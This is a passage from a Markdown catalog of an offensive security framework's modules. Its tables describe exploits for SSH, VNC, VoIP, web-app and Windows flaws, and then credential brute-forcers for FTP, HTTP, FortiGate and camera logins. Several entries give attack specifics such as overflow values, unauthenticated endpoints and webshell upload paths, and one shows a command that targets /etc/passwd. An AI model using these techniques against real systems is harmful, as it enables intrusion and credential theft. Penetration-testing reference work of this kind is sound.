| `exploits/safeline/no_auth_probe` | Sends unauthenticated GET requests to protected SafeLine endpoints. If the operator has set the NO_AUTH env var, main.go:162 uses `len(noAuth) >= 0` (always true), disabling the auth middleware. A 200 response with data confirms the bypass. | Good | |
|
||||
| `exploits/safeline/pre_auth_tfa` | On fresh SafeLine installs (LastLoginTime == 0), GET /api/OTPUrl is unauthenticated and rotates the TFA secret, returning the new otpauth:// URL. This module fetches the secret, computes the current TOTP code, and logs in as super-user — account takeover without credentials. | Excellent | |
|
||||
| `exploits/safeline/session_secret_entropy` | SafeLine generates its JWT/session signing secret with math/rand seeded by time.Now().UnixNano(). Effective entropy is log2(install_window_ns) — as low as 39 bits for a known 10-minute window. This module prints the entropy analysis and optionally probes the Set-Cookie header to confirm the signed cookie mechanism is in use. | Normal | |
|
||||
| `exploits/safeline/unauth_writes` | POST /api/Behaviour and POST /api/FalsePositives are in SafeLine's publicRouters (no auth required). Any client can write arbitrary data to the behaviour analytics DB and trigger per-request outbound HTTPS calls via /api/FalsePositives — analytics pollution, storage DoS, and request amplification. | Good | |
|
||||
| `exploits/sample_exploit` | A demonstration exploit that checks if a target endpoint is vulnerable. | Normal | ✓ |
|
||||
| `exploits/snare/cookie_dos` | Sends an HTTP GET with a Cookie header that has no '=' separator to snare. The tanner_handler.py dict comprehension calls `cookie.split('=')[1]` unconditionally → IndexError → worker crash. | Normal | |
|
||||
| `exploits/snare/tanner_version_mitm` | Binds a rogue HTTP server on port 8090 that returns a forged {"version": "X.Y.Z"} response to GET /version. When snare is launched with --tanner pointing to this host, it accepts the forged version and starts up — demonstrating that the version check has no cryptographic authenticity guarantee. | Normal | |
|
||||
| `exploits/ssh/asyncssh_beginauthpass` | Exploits AsyncSSH servers whose SSHServer.begin_auth() returns False, causing USERAUTH_SUCCESS to be sent immediately. Opens a session after bypass and runs an arbitrary command. | Great | |
|
||||
| `exploits/ssh/erlang_otp_ssh_rce_cve_2025_32433` | Unauthenticated RCE in Erlang/OTP SSH server. | Great | ✓ |
|
||||
| `exploits/ssh/libssh2_rogue_server` | Starts a rogue SSH server that accepts ALL authentication attempts regardless of credentials. Exploits libssh2 clients that accept USERAUTH_SUCCESS without verifying KEX state (userauth.c:201,396,1714). Captures username, password, and public key fingerprints. | Excellent | |
|
||||
| `exploits/ssh/libssh_auth_bypass_cve_2018_10933` | Authentication bypass in libSSH server. | Excellent | ✓ |
|
||||
| `exploits/ssh/openssh_regresshion_cve_2024_6387` | Signal handler race condition in OpenSSH sshd allows unauthenticated | Normal | ✓ |
|
||||
| `exploits/ssh/opensshserver_9_8p1race_condition` | Exploits a race condition in OpenSSH server 9.8p1 for remote code execution via heap-based glibc exploitation. | Normal | |
|
||||
| `exploits/ssh/paramiko_authnonepass` | Exploits Paramiko-based SSH servers that mistakenly return AUTH_SUCCESSFUL from check_auth_none(). Sends an SSH2 'none' userauth request and, if the server accepts it, opens a session channel and runs an arbitrary command. Tested against paramiko 4.0.0. | Great | |
|
||||
| `exploits/ssh/paramiko_unknown_method` | Exploits Paramiko-based SSH servers where an unrecognized auth method falls through to check_auth_none() (auth_handler.py:721-724). If check_auth_none() returns AUTH_SUCCESSFUL, any bogus method name authenticates the client. Tested against paramiko 4.0.0. | Great | |
|
||||
| `exploits/ssh/sshpwn_auth_passwd` | Exploits OpenSSH auth2-passwd.c vulnerabilities including password length DoS, password change info leak, and timing-based user enumeration. | Normal | |
|
||||
| `exploits/ssh/sshpwn_pam` | Exploits OpenSSH auth-pam.c vulnerabilities including environment variable injection, memory leak DoS, and username length validation bypass. | Normal | |
|
||||
| `exploits/ssh/sshpwn_scp_attacks` | Exploits OpenSSH SCP vulnerabilities including path traversal via filename manipulation, command injection, and brace expansion DoS. | Normal | |
|
||||
| `exploits/ssh/sshpwn_session` | Exploits OpenSSH session.c and sshd-session.c vulnerabilities including forced command bypass, environment variable injection, and privilege separation issues. | Good | |
|
||||
| `exploits/ssh/sshpwn_sftp_attacks` | Exploits OpenSSH SFTP server vulnerabilities including symlink injection, chmod setuid abuse, path traversal, and partial write issues. | Normal | |
|
||||
| `exploits/telnet/telnet_auth_bypass_cve_2026_24061` | Exploits CVE-2026-24061 to bypass telnet authentication on vulnerable devices. | Excellent | |
|
||||
| `exploits/vnc/libvnc_checkrect_overflow` | LibVNCClient vncviewer.c:115-117 uses signed 32-bit bounds checks (x+w > fb_width). At x=0x7FFFFFFF, w=1: x+w wraps to INT_MIN — negative, bypasses check. Raw pixel data is then written past the allocated framebuffer → heap overflow → RCE. This module acts as a malicious VNC server. | Normal | ✓ |
|
||||
| `exploits/vnc/libvnc_tight_filtergradient` | LibVNCClient tight.c:468-522 reads numRows from the decompressed Tight stream and drives the gradient filter loop without clamping to the rect height. A crafted stream claiming numRows=10000 for a 20-row rect writes far past the allocated heap buffer → OOB write → RCE. Malicious server module. | Normal | ✓ |
|
||||
| `exploits/vnc/libvnc_ultrazip` | LibVNCClient ultra.c:100-150 (CVE-2018-20750) reads numCacheRects from the UltraZip wire stream and loops that many times memcpy-ing into a fixed-size rect cache (~200 entries) without bounds-checking. numCacheRects=0xFFFF with 1 real entry → heap overflow → RCE. Malicious server module. | Normal | ✓ |
|
||||
| `exploits/vnc/libvnc_websocket_overflow` | LibVNCServer ws_decode.c:219-254 reads a 64-bit WebSocket frame payloadLen and uses it without bounding against the receive buffer size. Sending a binary frame with payloadLen=0xFFFFFFFFFFFF and 0 bytes of actual data triggers a heap overflow → server crash / RCE. | Good | |
|
||||
| `exploits/vnc/libvnc_zrle_tile` | LibVNCClient zrle.c:201-209 does not track bytes consumed per tile during decompression. A truncated RLE tile provides only 1 pixel run but the tile covers 64×64 pixels; the client reads ~4095 extra runs from beyond the decompressed buffer → heap over-read → potential info-leak or RCE. Malicious server module. | Normal | ✓ |
|
||||
| `exploits/vnc/tigervnc_rre_overflow` | TigerVNC's RRE decoder reads numSubrects from the wire as u32 and loops that many times, reading 4+bpp bytes per subrect without bounds-checking the received buffer. numSubrects=0xFFFFFFFF with a minimal body forces the client to read past the heap buffer → RCE. Malicious server module. | Normal | ✓ |
|
||||
| `exploits/vnc/tigervnc_timing_oracle` | TigerVNC's VNC auth handler may exhibit measurable timing differences between a correct and incorrect first-block DES response. Repeated auth attempts with crafted 16-byte responses and RTT measurement can leak partial key information. Highly noisy — requires low-latency controlled network. Rank: Low. | Low | |
|
||||
| `exploits/vnc/tightvnc_decompression_bomb` | TightVNC's FileUploadData handler (FileTransferRequestHandler.cpp:582-590) uses the wire `uncompressedSize` field without any cap. Sending a tiny zlib payload (~13 bytes) claiming 2 GiB uncompressed forces the server to allocate gigabytes → heap exhaustion → process crash / OOM-kill. DESTRUCTIVE. | Normal | |
|
||||
| `exploits/vnc/tightvnc_des_hardcoded_key` | TightVNC stores the VNC password encrypted with a hardcoded 8-byte DES key (VncPassCrypt.cpp:29-44). The 8-byte ciphertext lives in the Windows registry at HKLM\SOFTWARE\TightVNC\Server\Password. Any user who can read that value can recover the plaintext offline in microseconds. No network interaction required. | Excellent | ✓ |
|
||||
| `exploits/vnc/tightvnc_ft_path_traversal` | Detects TightVNC servers exposing the file-transfer extension. The full exploit needs an authenticated session; this probe only confirms the surface is reachable. | Excellent | |
|
||||
| `exploits/vnc/tightvnc_predictable_challenge` | TightVNC fills the 16-byte RFB challenge with srand(time(0))+rand(). Two connections in the same wall-clock second receive identical challenges, allowing replay attacks or offline PRNG reconstruction. Bug: RfbInitializer.cpp:173-175. | Good | |
|
||||
| `exploits/vnc/tightvnc_rect_overflow` | TightVNC Rect::area() uses signed int32 multiplication (Rect.h:172). At 0x8001×0x8001 the product wraps, causing TightEncoder to allow a 300-entry palette write past the 256-entry heap buffer → RCE. This module acts as a malicious VNC server; point a TightVNC/LibVNCClient viewer at the listen address. | Normal | ✓ |
|
||||
| `exploits/vnc/x11vnc_dns_injection` | x11vnc connections.c:1665-1670 calls gethostbyaddr() on the connecting client IP and passes the result UNSANITISED to system() when -accept xmessage is set. A crafted PTR record containing shell metacharacters achieves RCE as the x11vnc user. Requires a rogue DNS server — this module prints the setup recipe. Rank: Manual. | Manual | |
|
||||
| `exploits/vnc/x11vnc_env_injection` | x11vnc populates the RFB_CLIENT_IP environment variable from the connecting client's source IP address and passes it to hook scripts. If hook scripts interpolate this variable unsafely (e.g. in shell `exec $RFB_CLIENT_IP`), and the attacker controls the source IP routing, shell injection achieves RCE. This module prints the setup recipe. Rank: Manual. | Manual | |
|
||||
| `exploits/vnc/x11vnc_unixpw_inject` | x11vnc -unixpw mode sends a plaintext username+password challenge over the VNC channel without stripping newlines from the username field. Injecting \n in the username can confuse the PAM interaction, potentially bypassing authentication or creating unexpected auth state. | Normal | |
|
||||
| `exploits/voip/cve_2025_64328_freepbx_cmdi` | Post-authentication command injection in FreePBX filestore module. | Great | ✓ |
|
||||
| `exploits/voip/magnusbilling_ssrf_cve_2023_30258` | Detects MagnusBilling 6 panel; multiple unauth weaknesses including SSRF and traversal. | Good | ✓ |
|
||||
| `exploits/voip/xorcompbx_rce` | Detects Xorcom CompletePBX login portal; auth-required RCE via shell injection in admin endpoints. | Normal | ✓ |
|
||||
| `exploits/webapps/aiplugins_rce_cve_2025_23968` | Detects unauthenticated arbitrary file upload in Cibeles AI, | Great | ✓ |
|
||||
| `exploits/webapps/api_attack_suite` | Active offensive sweep covering every API attack category in PortSwigger's Web Security Academy. Accepts either a target URL OR a raw captured HTTP request (Burp 'Copy as raw request'); when a captured request is provided, fingerprints the stack, walks every fuzzable parameter (query, JSON body recursive, headers, cookies), auto-detects already-privileged fields (`admin: true`, `role: ...`) and flips them, then runs verb tampering, auth bypass, HPP, mass-assign, BOLA, content-type confusion, GraphQL attacks, JWT none-alg, rate-limit, and sensitive-field exposure. Two interaction modes (interactive / auto) — same surface across shell / CLI / API / MCP. | Normal | ✓ |
|
||||
| `exploits/webapps/azureapim_checker` | Probes Azure APIM developer portal endpoints for cross-tenant signup | Normal | ✓ |
|
||||
| `exploits/webapps/azuriom_csti_cve_2025_65271` | Detects Azuriom admin dashboard; client-side template injection enables | Normal | ✓ |
|
||||
| `exploits/webapps/beego_traversal_lfi` | Detects Beego applications vulnerable to %5c-encoded path traversal. | Good | ✓ |
|
||||
| `exploits/webapps/cacti_graph_rce_cve_2025_24367` | Detects Cacti ≤ 1.2.29 and verifies authenticated access | Good | ✓ |
|
||||
| `exploits/webapps/casdoor_traversal_cve_2023_34927` | Detects Casdoor 2.95.0 vulnerable to %5c-encoded path traversal. | Good | ✓ |
|
||||
| `exploits/webapps/cbitrix_translate_upload_cve_2025_67887` | Detects 1C-Bitrix CMS ≤ 25.100.500 exposing the Translate module | Good | ✓ |
|
||||
| `exploits/webapps/cinnamon_kotaemon_zip_dos_cve_2025_63914` | Detects Cinnamon kotaemon ≤ 0.11.0 by Gradio fingerprint. | Normal | ✓ |
|
||||
| `exploits/webapps/cleo_harmony_filewrite_cve_2024_55956` | Detects Cleo Harmony / VLTrader / LexiCom MFT 5.8.0.23 by web banner. | Great | ✓ |
|
||||
| `exploits/webapps/clipbucket_rce_cve_2025_55911` | Detects ClipBucket 5.5.2 build 90 video platform. | Good | ✓ |
|
||||
| `exploits/webapps/cloudbleed_scanner` | Sends malformed HTML probes and inspects responses for | Normal | ✓ |
|
||||
| `exploits/webapps/commvault_cli_rce_cve_2025_57788` | Probes Commvault Command Center for the unauth RCE chain | Great | ✓ |
|
||||
| `exploits/webapps/convio_sqli` | Probes Convio CMS endpoints for SQL error markers in `id` parameter. | Normal | ✓ |
|
||||
| `exploits/webapps/coohom_xss` | Detects Coohom application; reflected XSS via input parameters. | Normal | ✓ |
|
||||
| `exploits/webapps/cpms_authbypass` | Detects CPMS 2.0 admin login; SQLi or hardcoded credentials enable unauth admin access. | Normal | ✓ |
|
||||
| `exploits/webapps/craftcms_key_rce_cve_2025_23209` | RCE in Craft CMS when the application security key is known or leaked. | Normal | ✓ |
|
||||
| `exploits/webapps/craftcms_logicflaw` | Detects Craft CMS 5.0; image-transform endpoint authenticates via | Normal | ✓ |
|
||||
| `exploits/webapps/craftcms_rce_cve_2025_47726` | Remote Code Execution via Server-Side Template Injection in Craft CMS. | Great | ✓ |
|
||||
| `exploits/webapps/craftcms_ssti_scanner` | Submits {{7*7}} via search/path parameters and looks for "49" reflection. | Normal | ✓ |
|
||||
| `exploits/webapps/crafty_controller_rce_cve_2025_14700` | Detects Crafty Controller; auth-required SSTI in template configuration enables RCE. | Good | ✓ |
|
||||
| `exploits/webapps/dify/cve_2025_56157_dify_default_creds` | Checks for default PostgreSQL credentials in Dify deployments. | Great | ✓ |
|
||||
| `exploits/webapps/django_sqli_cve_2025_64459` | Probes Django apps for the QuerySet/Lookup SQLi affecting 5.1.x ≤ 5.1.13. | Good | ✓ |
|
||||
| `exploits/webapps/dnnplatform_upload_cve_2025_64095` | Detects DNN (DotNetNuke) <10.1.1 with the HTML editor upload endpoint | Great | ✓ |
|
||||
| `exploits/webapps/dotcms_blind_sqli_cve_2025_8311` | Authenticated time-based blind SQL injection in dotCMS 25.07.02-1 | Good | ✓ |
|
||||
| `exploits/webapps/dotcms_scanner` | Detects dotCMS instances and reads /api/v1/system/version disclosure. | Normal | ✓ |
|
||||
| `exploits/webapps/drupal11_pathdisclose_cve_2024_45440` | Triggers Drupal error responses that disclose the absolute filesystem path. | Normal | ✓ |
|
||||
| `exploits/webapps/eduplus_idor` | Detects EduplusCampus student portal IDOR by enumerating | Normal | ✓ |
|
||||
| `exploits/webapps/elementor_wb_sqli_cve_2023_0329` | Detects Elementor WP plugin <3.12.2; admin SQL injection in template endpoint. | Good | ✓ |
|
||||
| `exploits/webapps/eramba_grc_rce_cve_2023_36255` | Detects Eramba GRC by login fingerprint; download-test-pdf is | Good | ✓ |
|
||||
| `exploits/webapps/ffcw_inject` | Detects FileCatalyst Workflow login; PHP injection via workflow params. | Normal | ✓ |
|
||||
| `exploits/webapps/flask_command_injection` | Probes a Flask app for SSTI and command-injection markers in | Normal | ✓ |
|
||||
| `exploits/webapps/flatcore_upload_cve_2019_13961` | Detects flatCore 1.5 by login fingerprint; chained file upload to PHP RCE. | Good | ✓ |
|
||||
| `exploits/webapps/flatpress_xsrf_shell` | Detects FlatPress 1.3 admin endpoints; CSRF + auth shell upload. | Good | ✓ |
|
||||
| `exploits/webapps/flowise/cve_2024_31621` | Unauthenticated access to Flowise /API/V1/credentials endpoint, bypassing authentication in Flowise <= 1.6.5. | Great | |
|
||||
| `exploits/webapps/flowise/cve_2025_59528_flowise_rce` | Authenticated RCE in Flowise < 3.0.5 via customMCP endpoint expression injection. | Great | |
|
||||
| `exploits/webapps/flowise_js_inject_cve_2025_59528` | Detects Flowise UI/API; JS parsing injection allows code | Good | ✓ |
|
||||
| `exploits/webapps/foxcms_inject_cve_2025_29306` | Detects FoxCMS 1.0 by admin fingerprint; PHP code injection in admin actions. | Good | ✓ |
|
||||
| `exploits/webapps/fuguhub_rsakey_disclose_cve_2025_65790` | Probes FuguHub web-accessible documentation for an embedded RSA | Good | ✓ |
|
||||
| `exploits/webapps/getsimple_csrf_cve_2021_28976` | Detects GetSimple CMS 3.3.16; missing anti-CSRF tokens on backup | Normal | ✓ |
|
||||
| `exploits/webapps/gnuboard5_install` | Detects exposed /install/ endpoint of Gnuboard 5; if reachable, attacker can compromise installation parameters. | Good | ✓ |
|
||||
| `exploits/webapps/gravcms_sandbox_bypass_cve_2025_66294` | Detects Grav CMS by the X-Generator header / login page; Twig sandbox bypass | Good | ✓ |
|
||||
| `exploits/webapps/guppycms_shell` | Detects GuppY CMS via /admin login and probes for PHP injection in admin endpoints. | Normal | ✓ |
|
||||
| `exploits/webapps/headlamp_unauth_disclose_cve_2025_14269` | Probes the Headlamp Kubernetes dashboard for unauthenticated | Good | ✓ |
|
||||
| `exploits/webapps/hestia_inject` | Detects Hestia CP login portal; auth-required PHP code injection in admin scripts. | Normal | ✓ |
|
||||
| `exploits/webapps/highcms_sqli` | Probes legacy HighCMS / HighPortal endpoints for blind SQL injection markers. | Normal | ✓ |
|
||||
| `exploits/webapps/hpe_oneview_rce` | Probes HPE OneView REST API; authenticated Java deserialization | Normal | ✓ |
|
||||
| `exploits/webapps/ias25_idor` | Detects IAS 2.5 admin panel; enumerates student record IDs via IDOR. | Normal | ✓ |
|
||||
| `exploits/webapps/ias25_sqli` | Detects IAS 2.5 SQL injection via the login form parameters. | Normal | ✓ |
|
||||
| `exploits/webapps/ias25_upload` | Detects IAS 2.5 admin upload form; chained with default creds → PHP RCE. | Normal | ✓ |
|
||||
| `exploits/webapps/ibmbigfix_disclose` | Detects IBM BigFix Platform port and probes for unauth disclosure paths. | Normal | ✓ |
|
||||
| `exploits/webapps/ictbroadcast_rce` | Detects ICTBroadcast 7.0 admin endpoint; auth RCE via DBC (Dynamic Broadcast Configuration). | Normal | ✓ |
|
||||
| `exploits/webapps/iemm_eli_inject_cve_2025_4427` | Probes Ivanti EPM Mobile (formerly MobileIron Core) for the | Great | ✓ |
|
||||
| `exploits/webapps/invision_csti_cve_2025_ic506` | Detects Invision Community 5.0.6; auth-required Expression Injection (SSTI) in customCss. | Normal | ✓ |
|
||||
| `exploits/webapps/invoiceninja_inject` | Detects Invoice Ninja by the api/v1/ping endpoint; PHP code injection via auth-required template editor. | Normal | ✓ |
|
||||
| `exploits/webapps/ioncube_loader_scanner` | Detects exposed ionCube wizard helper files (loader-wizard.php). | Normal | ✓ |
|
||||
| `exploits/webapps/jenkins_fileread` | Detects Jenkins ≤ 2.441 vulnerable to arbitrary file read via the | Great | ✓ |
|
||||
| `exploits/webapps/jsonpath_plus_rce_cve_2025_1302` | Submits a JSONPath expression that triggers JS evaluation; reflection | Normal | ✓ |
|
||||
| `exploits/webapps/kalmia_user_enum_cve_2025_65899` | JWT auth endpoint leaks user existence based on returned message. | Normal | ✓ |
|
||||
| `exploits/webapps/langflow/cve_2026_33017_build_public_tmp_rce` | Pre-auth RCE on Langflow ≤ 1.8.2 via `/api/v1/build_public_tmp/{flow_id}/flow`. The endpoint executes attacker-controlled Python code embedded in flow nodes during graph preparation. Default-deployed Langflow has `AUTO_LOGIN=true`, which the chain leverages to mint the required public-flow id without creds. | Excellent | ✓ |
|
||||
| `exploits/webapps/langflow_rce_cve_2025_3248` | Unauthenticated RCE via Python exec() in Langflow code validation. | Excellent | ✓ |
|
||||
| `exploits/webapps/laravel_livewire_rce_cve_2025_47949` | Remote Code Execution via unsafe deserialization in Laravel Livewire. | Great | ✓ |
|
||||
| `exploits/webapps/laravel_pulse_inject_cve_2024_55661` | Detects Laravel Pulse dashboard at /pulse; remote_ip header / route | Normal | ✓ |
|
||||
| `exploits/webapps/lepton_xss_rce` | Detects LEPTON CMS 7.4.0 admin endpoints; chained Stored XSS into | Normal | ✓ |
|
||||
| `exploits/webapps/lgsimpleeditor_inject` | Detects LG Simple Editor by /login fingerprint; PHP code injection in editor endpoints. | Normal | ✓ |
|
||||
| `exploits/webapps/librenms_inject` | Detects LibreNMS by /login fingerprint; auth-required PHP code injection. | Normal | ✓ |
|
||||
| `exploits/webapps/limesurvey_filedownload` | Detects LimeSurvey 2.0 export endpoint that exposes uploaded files | Normal | ✓ |
|
||||
| `exploits/webapps/magento_session_reaper_cve_2025_54236` | Probes Magento 2 / Adobe Commerce REST API for vulnerable build banners | Great | ✓ |
|
||||
| `exploits/webapps/mangosweb_xss` | Probes mangosweb search/login endpoints for unsanitised reflection. | Normal | ✓ |
|
||||
| `exploits/webapps/mantisbt_exec` | Detects Mantis Bug Tracker 2.30; auth RCE via filter/admin paths. | Normal | ✓ |
|
||||
| `exploits/webapps/mcpjam/cve_2026_23744_mcpjam_rce` | Detects MCPJam Inspector ≤ 1.4.2 listening on a non-loopback interface. The Inspector accepts unauthenticated MCP server registrations, which is RCE in practice. Probe only. | Great | |
|
||||
| `exploits/webapps/misp_rce_cve_2025_27364` | Authenticated file upload to RCE in MISP < 2.5.3. The /events/upload_sample endpoint accepts arbitrary MIME types, allowing upload of PHP webshells when combined with a permissive server configuration. CVSS 8.8 High. | Normal | |
|
||||
| `exploits/webapps/mobiledetect_xss` | Probes endpoints that echo User-Agent for XSS reflection markers. | Normal | ✓ |
|
||||
| `exploits/webapps/n8n/n8n_form_afr_cve_2026_21858` | POSTs `files.filepath` to a known n8n form-trigger workflow on n8n ≤ 1.65.0. Operator supplies the form path via `setg n8n_form_path /form/...` and the file via `setg n8n_target_file /etc/passwd`. Probe-only — does not chain into RCE. | Good | ✓ |
|
||||
| `exploits/webapps/n8n/n8n_rce_cve_2025_68613` | Authenticated RCE in n8n 0.211.0-1.120.3/1.121.0 via expression injection in workflow Set nodes. CVSS 10.0 Critical. | Great | |
|
||||
| `exploits/webapps/nextjs_middleware_bypass_cve_2025_29927` | Bypasses Next.js middleware (auth, RBAC, redirects) by sending the | Great | |
|
||||
| `exploits/webapps/openrepeater_inject` | Detects OpenRepeater web UI; authenticated injection in audio/network configuration endpoints. | Normal | ✓ |
|
||||
| `exploits/webapps/opensisce_sqli` | Detects openSIS classic; auth-bypass / SQLi via login form. | Normal | ✓ |
|
||||
| `exploits/webapps/phpipam_sqli` | Detects phpIPAM and probes parameterised endpoints for SQL error markers. | Normal | ✓ |
|
||||
| `exploits/webapps/phpmyadmin_sqli` | Detects phpMyAdmin and probes for known SQLi via designer endpoints. | Normal | ✓ |
|
||||
| `exploits/webapps/phpmyfaq_xss` | Detects phpMyFAQ; reflected XSS via search and CSRF on admin endpoints. | Normal | ✓ |
|
||||
| `exploits/webapps/pihole_redis_rce_cve_2024_34361` | Detects Pi-hole admin UI; authenticated SSRF + Redis abuse for RCE. | Good | ✓ |
|
||||
| `exploits/webapps/piwigo_sqli` | Detects Piwigo gallery; SQLi via parameter abuse in admin endpoints. | Normal | ✓ |
|
||||
| `exploits/webapps/pluck_upload` | Detects Pluck CMS; auth admin upload chained to PHP code execution. | Normal | ✓ |
|
||||
| `exploits/webapps/react/react2shell` | Detects exposed React Server Components Flight endpoints (`?_rsc=` query parameter) that may be vulnerable to deserialization-based RCE on patched-but-misconfigured Next.js installations. Probe only. | Excellent | |
|
||||
| `exploits/webapps/react_rsc_rce_cve_2025_55182` | Detects React Server Components fingerprint; server-side serialisation | Good | ✓ |
|
||||
| `exploits/webapps/redash_rce_hash` | Detects Redash via /api/admin/status; auth-required RCE via SQL data source helper. | Normal | ✓ |
|
||||
| `exploits/webapps/rosariosis_xss` | Detects RosarioSIS login page; reflected XSS via search parameter. | Normal | ✓ |
|
||||
| `exploits/webapps/roundcube/roundcube_postauth_rce` | Authenticated RCE in Roundcube webmail via PHP deserialization (Crypt_GPG_Engine gadget) in file upload. Affects versions 1.1.0-1.5.9 and 1.6.0-1.6.10. | Great | |
|
||||
| `exploits/webapps/sap_netweaver_rce_cve_2025_31324` | Unauthenticated file upload to RCE in SAP NetWeaver Visual Composer. | Excellent | ✓ |
|
||||
| `exploits/webapps/sharepoint/cve_2024_38094` | Authenticated remote code execution in SharePoint Server via deserialization of malicious .bdcm file upload. Requires Site Owner privileges. CVSS 7.2. | Great | |
|
||||
| `exploits/webapps/sharepoint/cve_2025_53770_sharepoint_toolpane_rce` | Unauthenticated deserialization RCE in SharePoint on-premises. | Great | ✓ |
|
||||
| `exploits/webapps/sharepoint_toolpane_cve_2025_53770` | Probes SharePoint Server for the ToolPane.aspx endpoint and missing | Excellent | ✓ |
|
||||
| `exploits/webapps/smartermail/admin_password_reset_cve_2026_23760` | Probes SmarterTools SmarterMail < 9511 for the IsSysAdmin client-trust bypass on /api/v1/auth/force-reset-password. By default, only checks whether the endpoint accepts the unauthenticated payload — does NOT change the live admin password unless `setg smartermail_keep y` is set. | Excellent | ✓ |
|
||||
| `exploits/webapps/solarwinds/cve_2025_40551_solarwinds_whd_rce` | Detects SolarWinds Web Help Desk ≤ 12.8.8 Hotfix 1 vulnerable to the unauth Java deserialization RCE. Probe only — fingerprints the login page version banner. | Excellent | ✓ |
|
||||
| `exploits/webapps/spotube/spotube` | Unauthenticated access to Spotube API enabling path traversal via WebSocket and denial of service attacks against the desktop music client. | Good | |
|
||||
| `exploits/webapps/termix/termix_xss_cve_2026_22804` | Stored Cross-Site Scripting in Termix File Manager (1.7.0-1.9.0) via malicious SVG file upload. Executes JavaScript in Electron context when previewed. | Normal | |
|
||||
| `exploits/webapps/textpattern_xss` | Detects Textpattern admin; auth-required stored XSS in /textpattern/index.php?event=pref. | Normal | ✓ |
|
||||
| `exploits/webapps/varnish_styx_smuggling` | Detects Varnish-fronted edge cache; TE.CL request smuggling via inconsistent | Normal | ✓ |
|
||||
| `exploits/webapps/visualstudio_debugger` | Connects to TCP/5858 (Node Inspector / VS Code debugger) and verifies a debug session is exposed. | Good | ✓ |
|
||||
| `exploits/webapps/vite_path_traversal_cve_2025_30208` | Path traversal in Vite dev server /@fs/ endpoint. Appending ?import&raw bypasses allowed-path checks and returns arbitrary files from the host filesystem. Affects Vite < 6.2.3 / 6.1.2 / 6.0.12 / 5.4.15 / 4.5.10. | Great | |
|
||||
| `exploits/webapps/wfentlm_disclose` | Generates a UNC trigger HTML payload that leaks NTLMv2 hashes when | Normal | ✓ |
|
||||
| `exploits/webapps/wordpress/vitepos_file_upload_cve_2025_13156` | Authenticated arbitrary file upload in Vitepos POS for WooCommerce plugin <= 3.3.0, allowing PHP shell upload via missing file type validation. | Great | |
|
||||
| `exploits/webapps/wordpress/wp_bricks_rce_cve_2024_25600` | Exploits the bricks/v1/render_element REST endpoint in Bricks Builder for WordPress to achieve unauthenticated remote code execution via crafted element data with PHP code injection. | Excellent | |
|
||||
| `exploits/webapps/wordpress/wp_litespeed_rce_cve_2024_28000` | Exploits weak hash generation in the LiteSpeed Cache crawler feature to brute-force the security hash and escalate to WordPress administrator. | Normal | |
|
||||
| `exploits/webapps/wordpress/wp_royal_elementor_rce_cve_2024_32suspended` | Exploits the unauthenticated file upload handler in Royal Elementor Addons for WordPress to upload a PHP webshell via multipart POST to /wp-admin/admin-ajax.php?action=wpr_addons_upload. | Excellent | |
|
||||
| `exploits/webapps/wp_storychief_rce_cve_2025_7441` | Detects the StoryChief WP plugin; unauthenticated REST endpoint allows | Good | ✓ |
|
||||
| `exploits/webapps/wpcpi_upload` | Detects WP for CPI plugin readme; upload endpoint is unauth. | Good | ✓ |
|
||||
| `exploits/webapps/wpgivewp_inject` | Detects GiveWP plugin via readme; PHP object injection via donation form. | Good | ✓ |
|
||||
| `exploits/webapps/wpomnipress_xss` | Detects WP OmniPress plugin via readme; auth admin XSS in widget config. | Normal | ✓ |
|
||||
| `exploits/webapps/xwiki/cve_2025_24893_xwiki_rce` | Unauthenticated RCE via Groovy template injection in XWiki SolrSearch. | Excellent | ✓ |
|
||||
| `exploits/webapps/yourls_sqli_cve_2022_0088` | Detects YOURLS instance; SQLi in admin/upgrade.php that allows compromise. | Good | ✓ |
|
||||
| `exploits/webapps/yourls_xsrf_idor` | Probes YOURLS /admin/ajax.php for unauthenticated CSRF/IDOR on link mgmt. | Normal | ✓ |
|
||||
| `exploits/webapps/zabbix/zabbix_7_0_0_sql_injection` | Time-based SQL injection in Zabbix 7.0.0 API endpoints allowing arbitrary SQL execution and potential remote code execution. | Great | |
|
||||
| `exploits/webapps/zimbra_postjournal_rce` | Detects Zimbra ZCS by SMTP banner / 7071 admin port; postjournal | Great | ✓ |
|
||||
| `exploits/webapps/zimbra_sqli_auth_bypass_cve_2025_25064` | SQL injection in Zimbra ZCS ZimbraSync endpoint allows unauthenticated | Great | |
|
||||
| `exploits/windows/windows_dwm_cve_2026_20805` | Exploits CVE-2026-20805 in Windows Desktop Window Manager to leak kernel object pointers for KASLR bypass. | Good | |
|
||||
|
||||
## creds (30)
|
||||
|
||||
- 30 modules, 0 with `check()`
|
||||
|
||||
| Module | Description | Rank | Check |
|
||||
|---|---|---|---|
|
||||
| `creds/camera/acti/acti_camera_default` | Tests default credentials across FTP, SSH, Telnet, and HTTP on ACTi IP cameras. | Normal | |
|
||||
| `creds/camxploit/camxploit` | Comprehensive IP camera discovery, fingerprinting, and default credential testing across RTSP, HTTP, and HTTPS. Supports Hikvision, Dahua, Axis, CP Plus, Foscam, Vivotek, and generic cameras. | Great | |
|
||||
| `creds/generic/couchdb_bruteforce` | Tests CouchDB authentication via POST /_session. Single-target — scheduler does CIDR / random / file fan-out. | Normal | |
|
||||
| `creds/generic/elasticsearch_bruteforce` | Tests Elasticsearch HTTP Basic auth on the cluster root endpoint. Single-target — scheduler does fan-out. | Normal | |
|
||||
| `creds/generic/enablebruteforce` | Raises file descriptor limits (ulimit) for the current process to support high-concurrency brute-force operations. Provides guidance for persistent system configuration. | Normal | |
|
||||
| `creds/generic/fortinet_bruteforce` | POSTs `username=&secretkey=` to /remote/logincheck on a FortiGate SSL VPN portal and inspects the response body for the redirect / error markers. Single-target — scheduler does fan-out. | Normal | |
|
||||
| `creds/generic/ftp_anonymous` | Checks for anonymous FTP access on targets. Supports plain FTP and FTPS, IPv4/IPv6, and mass scanning (hose mode). | Normal | |
|
||||
| `creds/generic/ftp_bruteforce` | Brute-force FTP authentication with support for FTPS (TLS), combo mode, concurrent connections, and subnet/mass scanning. | Normal | |
|
||||
| `creds/generic/h3c_oem_kvm_bruteforce` | Brute-forces the H3C iBMC vendor-specific KVM session login at POST /api/oem_kvm/session, which has no rate limiting on default firmware builds. Tests every (user, password) pair in plaintext, base64, and double-base64 encodings — the endpoint silently accepts all three. A successful hit yields an X-Auth-Token that grants virtual-media + reboot equivalents (full host compromise). | Excellent | |
|
||||
| `creds/generic/http_basic_bruteforce` | Brute-force HTTP Basic Authentication using username/password wordlists. Supports HTTPS with invalid certificate acceptance, default credential testing, combo mode, concurrent connections, and subnet/mass scanning. | Normal | |
|
||||
